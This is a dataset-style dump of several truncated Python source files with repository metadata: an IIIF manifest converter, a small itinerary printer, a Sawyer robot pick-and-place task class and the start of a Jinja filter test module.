2021-01-08T17:20:38.000Z
2021-06-29T05:55:47.000Z
src/conv/convertManifest2Curation.py
nakamura196/i3
16d7695e5412b45dc8e0192d9ca285723ac9f788
[ "Apache-2.0" ]
null
null
null
import urllib.request from bs4 import BeautifulSoup import csv import requests import os import json import time import glob files = glob.glob("/Users/nakamura/git/d_iiif/iiif/src/collections/nijl/data/json/*.json") for i in range(len(files)): file = files[i] file_id = file.split("/")[-1].replace(".json", "...
31.938596
106
0.355397
0
0
0
0
0
0
0
0
763
0.209558
fe8e3a04a382b9b727449826066c850475d83dbe
190
py
Python
programme.py
GaLaXy102/Vacationing
e476f1047deeca8f68897a497716319afab3e7f0
[ "MIT" ]
null
null
null
programme.py
GaLaXy102/Vacationing
e476f1047deeca8f68897a497716319afab3e7f0
[ "MIT" ]
null
null
null
programme.py
GaLaXy102/Vacationing
e476f1047deeca8f68897a497716319afab3e7f0
[ "MIT" ]
null
null
null
from lib import get_itineraries import data if __name__ == '__main__': for itinerary in get_itineraries(data.sicily): print("#" * 24) print(itinerary) print("")
21.111111
50
0.636842
0
0
0
0
0
0
0
0
15
0.078947
fe908006796adb02dbc2aa1b3ab9fa0ac75b1812
5,574
py
Python
sawyer/mujoco/tasks/transition_pick_and_place_task.py
rlagywjd802/gym-sawyer
385bbeafcccb61afb9099554f6a99b16f1f1a7c5
[ "MIT" ]
null
null
null
sawyer/mujoco/tasks/transition_pick_and_place_task.py
rlagywjd802/gym-sawyer
385bbeafcccb61afb9099554f6a99b16f1f1a7c5
[ "MIT" ]
null
null
null
sawyer/mujoco/tasks/transition_pick_and_place_task.py
rlagywjd802/gym-sawyer
385bbeafcccb61afb9099554f6a99b16f1f1a7c5
[ "MIT" ]
null
null
null
import numpy as np from sawyer.mujoco.tasks.base import ComposableTask class TransitionTask(ComposableTask): """ Task to pick up an object with the robot gripper. Success condition: - Object is grasped and has been lifted above the table """ def __init__(self): pass def compute_...
28.880829
121
0.571582
5,489
0.984751
0
0
79
0.014173
0
0
825
0.148009
fe90ddd8fb4cfe4289850e4b9709b973ed6310cd
36,485
py
Python
tests/app/test_jinja_filters.py
nealedj/eq-survey-runner
b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34
[ "MIT" ]
null
null
null
tests/app/test_jinja_filters.py
nealedj/eq-survey-runner
b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34
[ "MIT" ]
1
2018-11-05T12:00:51.000Z
2018-11-05T12:00:51.000Z
tests/app/test_jinja_filters.py
nealedj/eq-survey-runner
b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34
[ "MIT" ]
null
null
null
# coding: utf-8 from types import SimpleNamespace from datetime import datetime, timedelta from unittest.mock import patch from dateutil.relativedelta import relativedelta from jinja2 import Undefined, Markup from mock import Mock from app.jinja_filters import ( format_date, format_conditional_date, format_curre...
38.005208
143
0.615952
35,449
0.971126
0
0
8,060
0.220804
0
0
9,138
0.250336